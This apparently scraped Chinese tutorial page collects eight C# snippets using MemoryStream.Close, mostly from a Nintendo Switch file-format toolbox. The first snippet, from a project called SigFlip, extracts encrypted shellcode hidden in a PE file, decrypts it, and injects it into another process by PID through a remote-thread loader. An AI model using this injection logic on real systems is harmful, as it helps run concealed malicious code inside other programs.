C# MemoryStream.Close的代码示例

通过代码示例来学习C# MemoryStream.Close方法

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MemoryStream.Close是C#的System.IO命名空间下中的一个方法, 小编为大家找了一些网络大拿们常见的代码示例,源码中的MemoryStream.Close() 已经帮大家高亮显示了,大家可以重点学习MemoryStream.Close() 方法的写法,从而快速掌握该方法的应用。

MemoryStream.Close的代码示例1 - Main()

    using System.IO;
        public static void Main(string[] args)
        {
            ArgumentParser _parser = new ArgumentParser(args);

            if (args.Length <= 0 || _parser.GetOrDefault("h", "help") == "true") {
                Help();
            }


            if (_parser.GetOrDefault("f", "null") != "null") {
                _pePath = _parser.GetOrDefault("f", "null");
                _encKey = _parser.GetOrDefault("e", "null");
                _pid = _parser.GetOrDefault("pid", "null");

                if (_pePath == "null") Help();
                if (_pid == "null") Help();
            }

            else {
                Help();
            }

            if (!File.Exists(_pePath)) Help();

            Console.WriteLine("[+]:Loading/Parsing PE File '{0}'", _pePath);
            Console.WriteLine();

            byte[] _peBlob = Utils.Read(_pePath);
            int _dataOffset = Utils.scanPattern(_peBlob, _tag);

            Console.WriteLine("[+]:Scanning for Shellcode...");
            if ( _dataOffset == -1) {
                Console.WriteLine("Could not locate data or shellcode");
                Environment.Exit(0);
            }

            Stream stream = new MemoryStream(_peBlob);
            long pos = stream.Seek(_dataOffset + _tag.Length, SeekOrigin.Begin);
            Console.WriteLine("[+]: Shellcode located at {0:x2}", pos);
            byte[] shellcode = new byte[_peBlob.Length - (pos + _tag.Length)];
            stream.Read(shellcode, 0, (_peBlob.Length)- ((int)pos + _tag.Length));
            byte[] _data = Utils.Decrypt(shellcode, _encKey);
            
            stream.Close();

            //Execute shellcode (just a basic/vanilla local shellcode injection logic, make sure to CHANGE this and use your custom shellcode loader.
            
            //CreateThread
            //ExecShellcode(_data);

            //CreateRemoteThread 
            Loader.rexec(Convert.ToInt32(_pid), _data);
           

            }
    

开发者ID:med0x2e,项目名称:SigFlip,代码行数:56,代码来源:Program.cs

在Main()方法中,MemoryStream的代码示例类中的Close的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞

MemoryStream.Close的代码示例2 - CreateNewBFRESSwitch()

    using System.IO;

        private static byte[] CreateNewBFRESSwitch(string Name)
        {
            MemoryStream mem = new MemoryStream();

            ResFile resFile = new ResFile();
            resFile.Name = Name;

            resFile.Save(mem);
            var data = mem.ToArray();

            mem.Close();
            mem.Dispose();
            return data;
        }
    

开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:16,代码来源:BFRES.cs

在CreateNewBFRESSwitch()方法中,MemoryStream的代码示例类中的Close的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞

MemoryStream.Close的代码示例3 - CreateNewBNTX()

    using System.IO;

        public static byte[] CreateNewBNTX(string Name)
        {
            MemoryStream mem = new MemoryStream();

            BntxFile bntx = new BntxFile();
            bntx.Target = new char[] { 'N', 'X', ' ', ' ' };
            bntx.Name = Name;
            bntx.Alignment = 0xC;
            bntx.TargetAddressSize = 0x40;
            bntx.VersionMajor = 0;
            bntx.VersionMajor2 = 4;
            bntx.VersionMinor = 0;
            bntx.VersionMinor2 = 0;
            bntx.Textures = new List();
            bntx.TextureDict = new ResDict();
            bntx.RelocationTable = new RelocationTable();
            bntx.Flag = 0;
            bntx.Save(mem);
            var data = mem.ToArray();

            mem.Close();
            mem.Dispose();
            return data;
        }
    

开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:26,代码来源:BNTX.cs

在CreateNewBNTX()方法中,MemoryStream的代码示例类中的Close的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞

MemoryStream.Close的代码示例4 - ReloadEncoding()

    using System.IO;

        public void ReloadEncoding(Encoding encoding) {
            BymlFileData.Encoding = encoding;

            //Reopen and reload the byml data
            if (IFileInfo.ArchiveParent != null)
            {
                foreach (var file in IFileInfo.ArchiveParent.Files)
                {
                    var name = Path.GetFileName(file.FileName);
                    if (name == FileName)
                        BymlData = ByamlFile.LoadN(new MemoryStream(file.FileData));
                }
            }
            else if (File.Exists(FilePath))
            {
                var file = File.OpenRead(FilePath);
                BymlData = ByamlFile.LoadN(file);
                file.Close();
            }
        }
    

开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:22,代码来源:BYAML.cs

在ReloadEncoding()方法中,MemoryStream的代码示例类中的Close的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞

MemoryStream.Close的代码示例5 - ReadShaderParams()

            public static void ReadShaderParams(this FMAT m, Material mat)
        {
            m.matparam.Clear();

            if (mat.ShaderParamData == null)
                return;

            using (FileReader reader = new FileReader(new System.IO.MemoryStream(mat.ShaderParamData)))
            {
                reader.ByteOrder = Syroot.BinaryData.ByteOrder.LittleEndian;
                foreach (ShaderParam param in mat.ShaderParams)
                {
                    BfresShaderParam shaderParam = new BfresShaderParam();
                    shaderParam.Type = param.Type;
                    shaderParam.Name = param.Name;
                    shaderParam.DependedIndex = param.DependedIndex;
                    shaderParam.DependIndex = param.DependIndex;

                    reader.Seek(param.DataOffset, System.IO.SeekOrigin.Begin);
                    shaderParam.ReadValue(reader, (int)param.DataSize);

                    m.matparam.Add(param.Name, shaderParam);
                }
                reader.Close();
            }
        }
    

开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:26,代码来源:BfresSwitch.cs

在ReadShaderParams()方法中,MemoryStream的代码示例类中的Close的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞

MemoryStream.Close的代码示例6 - CreateNewBFRES()

    using System.IO;
        public static byte[] CreateNewBFRES(string Name)
        {
            MemoryStream mem = new MemoryStream();

            ResFile resFile = new ResFile();
            resFile.Name = Name;            

            resFile.Save(mem);
            var data = mem.ToArray();

            mem.Close();
            mem.Dispose();
            return data;
        }
    

开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:15,代码来源:BfresWiiU.cs

在CreateNewBFRES()方法中,MemoryStream的代码示例类中的Close的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞

MemoryStream.Close的代码示例7 - InflateZLIB()

    using System.IO;
        public static byte[] InflateZLIB(byte[] i)
        {
            var stream = new MemoryStream();
            var ms = new MemoryStream(i);
            ms.ReadByte();
            ms.ReadByte();
            var zlibStream = new DeflateStream(ms, CompressionMode.Decompress);
            byte[] buffer = new byte[4095];
            while (true)
            {
                int size = zlibStream.Read(buffer, 0, buffer.Length);
                if (size > 0)
                    stream.Write(buffer, 0, buffer.Length);
                else
                    break;
            }
            zlibStream.Close();
            return stream.ToArray();
        }
    

开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:20,代码来源:FileReader.cs

在InflateZLIB()方法中,MemoryStream的代码示例类中的Close的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞

MemoryStream.Close的代码示例8 - SaveFileFormat()

    using System.IO;
        /// 
        /// Saves the  as a file from the given 
        /// 
        /// The format instance of the file being saved
        /// The name of the file
        /// The Alignment used for compression. Used for Yaz0 compression type. 
        /// Toggle for showing compression dialog
        /// 
        public static void SaveFileFormat(IFileFormat FileFormat, string FileName, bool EnableDialog = true, string DetailsLog = "")
        {
            //These always get created on loading a file,however not on creating a new file
            if (FileFormat.IFileInfo == null)
                throw new System.NotImplementedException("Make sure to impliment a IFileInfo instance if a format is being created!");

            Cursor.Current = Cursors.WaitCursor;
            FileFormat.FilePath = FileName;

            string compressionLog = "";
            if (FileFormat.IFileInfo.FileIsCompressed || FileFormat.IFileInfo.InArchive
                || Path.GetExtension(FileName) == ".szs" || Path.GetExtension(FileName) == ".sbfres"
                || Path.GetExtension(FileName) == ".mc")
            {
                //Todo find more optmial way to handle memory with files in archives
                //Also make compression require streams
                var mem = new System.IO.MemoryStream();
                FileFormat.Save(mem);
                mem =  new System.IO.MemoryStream(mem.ToArray());

                FileFormat.IFileInfo.DecompressedSize = (uint)mem.Length;

                var finalStream = CompressFileFormat(
                    FileFormat.IFileInfo.FileCompression,
                    mem,
                    FileFormat.IFileInfo.FileIsCompressed,
                    FileFormat.IFileInfo.Alignment,
                    FileName,
                    EnableDialog);

                compressionLog = finalStream.Item2;
                Stream compressionStream = finalStream.Item1;

                FileFormat.IFileInfo.CompressedSize = (uint)compressionStream.Length;
                compressionStream.ExportToFile(FileName);

                DetailsLog += "\n" + SatisfyFileTables(FileFormat, FileName, compressionStream,
                                    FileFormat.IFileInfo.DecompressedSize,
                                    FileFormat.IFileInfo.CompressedSize,
                                    FileFormat.IFileInfo.FileIsCompressed);

                compressionStream.Flush();
                compressionStream.Close();
            }
            else
            {
                //Check if a stream is active and the file is beinng saved to the same opened file
                if (FileFormat is ISaveOpenedFileStream && FileFormat.FilePath == FileName && File.Exists(FileName))
                {
                    string savedPath = Path.GetDirectoryName(FileName);
                    string tempPath = Path.Combine(savedPath, "tempST.bin");

                    //Save a temporary file first to not disturb the opened file
                    using (var fileStream = new FileStream(tempPath, FileMode.Create, FileAccess.ReadWrite, FileShare.ReadWrite))
                    {
                        FileFormat.Save(fileStream);
                        FileFormat.Unload();

                        //After saving is done remove the existing file
                        File.Delete(FileName);

                        //Now move and rename our temp file to the new file path
                        File.Move(tempPath, FileName);

                        FileFormat.Load(File.OpenRead(FileName));

                        var activeForm = LibraryGUI.GetActiveForm();
                        if (activeForm != null && activeForm is ObjectEditor)
                            ((ObjectEditor)activeForm).ReloadArchiveFile(FileFormat);
                    }
                }
                else
                {
                    using (var fileStream = new FileStream(FileName, FileMode.Create, FileAccess.ReadWrite, FileShare.ReadWrite))
                    {
                        FileFormat.Save(fileStream);
                    }
                }
            }

            if (EnableDialog)
            {
                if (compressionLog != string.Empty)
                    MessageBox.Show($"File has been saved to {FileName}. Compressed time: {compressionLog}", "Save Notification");
                else
                    MessageBox.Show($"File has been saved to {FileName}", "Save Notification");
            }

            //   STSaveLogDialog.Show($"File has been saved to {FileName}", "Save Notification", DetailsLog);
            Cursor.Current = Cursors.Default;
        }
    

开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:100,代码来源:STFileSaver.cs

在SaveFileFormat()方法中,MemoryStream的代码示例类中的Close的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞

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